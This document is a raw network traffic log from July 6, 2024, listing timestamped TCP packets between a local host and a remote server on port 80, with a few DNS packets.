Jul 6, 2024 14:10:16.325714111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.325723886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.325735092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.325757980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.325824022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.325864077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.325872898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.325882912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.325921059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326163054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326173067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326206923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326242924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326253891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326287031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326472998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326508999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326524973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326534033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326555014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326571941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326585054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326613903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326627970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326638937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326652050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326662064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326697111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326710939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326745033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326842070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326893091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.326948881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326957941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326967001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.326991081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.327002048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.327084064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.327092886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.327116966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.327136040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.327243090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.327251911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.327282906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.327306986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328028917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328059912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328069925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328077078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328092098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328105927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328167915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328177929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328186989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328196049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328206062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328208923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328236103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328387976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328397989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.328433990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.328453064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517030001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517051935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517086029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517096996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517096996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517107964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517133951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517134905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517143965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517148972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517158031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517179012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517205954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517276049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517285109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517312050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517380953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517446041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517489910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517602921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517611980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517636061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517637014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517661095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517668009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517678976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517693996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517802954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517818928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517834902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517843962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.517849922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517858028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.517882109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518017054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518026114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518064976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518157005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518166065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518193960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518322945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518378019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518387079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518402100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518487930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518506050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518527985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518594980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518610001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518620014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518654108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518718004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518726110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518757105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.518942118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518949986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.518984079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519107103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519117117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519156933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519260883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519269943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519298077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519351006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519413948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519423008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519432068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519454956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519484043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519520998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519678116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519687891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519691944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519699097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519707918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519728899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519737959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519779921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519788027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.519818068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.519877911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520018101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520026922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520036936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520057917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520083904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520345926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520395041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520432949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520448923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520464897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520467997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520473957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520477057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520493031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520509958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520565987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520575047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520606041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520611048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520620108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520625114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520637035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520646095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.520785093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520795107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.520823002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521075010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521105051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521142006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521394014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521437883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521615028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521624088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521650076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521656990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521667957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521692038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521706104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521764994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521775007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521783113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521785021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521823883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521823883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521831036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521892071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521912098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.521927118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.521955967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.522011995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.522056103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.522066116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.522087097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.522109985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.522128105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.522138119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.522167921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.711330891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711345911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711357117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711365938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711424112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.711572886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711620092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.711622953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711636066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711674929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.711703062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711713076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711754084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.711782932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711827993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.711843967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711858034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711865902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.711901903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712277889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712323904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712342024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712361097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712555885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712595940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712604046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712614059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712650061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712668896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712694883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712708950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712742090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712778091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712790012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712804079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712824106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712835073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712888002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712898016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712908030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.712933064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712960958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.712980032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713030100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713040113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713063955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713098049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713319063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713346958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713356972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713366032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713376999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713392019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713423014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713433027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713457108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713557005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713602066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713612080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.713661909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713661909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.713969946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714020014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714030027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714063883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714157104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714195013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714206934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714215994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714238882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714265108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714361906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714407921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714411974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714417934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714447975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714513063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714521885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714545012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714556932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714725971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714783907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.714792013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714802027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.714838028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715032101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715039968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715074062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715159893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715200901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715209961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715234995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715270042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715475082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715516090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715533018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715534925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715560913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715560913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715564966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715611935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715667963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715712070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715751886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715760946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715792894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715796947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715825081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.715852022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.715889931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.716027975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.716067076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.716207981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.716218948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.716228008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.716238022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.716248989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.716253042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.716281891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.804024935 CEST	53	49730	110.11.158.238	192.168.2.4
Jul 6, 2024 14:10:16.804114103 CEST	49730	53	192.168.2.4	110.11.158.238
Jul 6, 2024 14:10:16.817292929 CEST	49730	53	192.168.2.4	110.11.158.238
Jul 6, 2024 14:10:16.905865908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.905884027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.905898094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.905967951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.905966997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.905986071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.905997038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:16.906012058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906012058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906035900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:16.906379938 CEST	80	49732	211.108.60.155	192.168.2.4
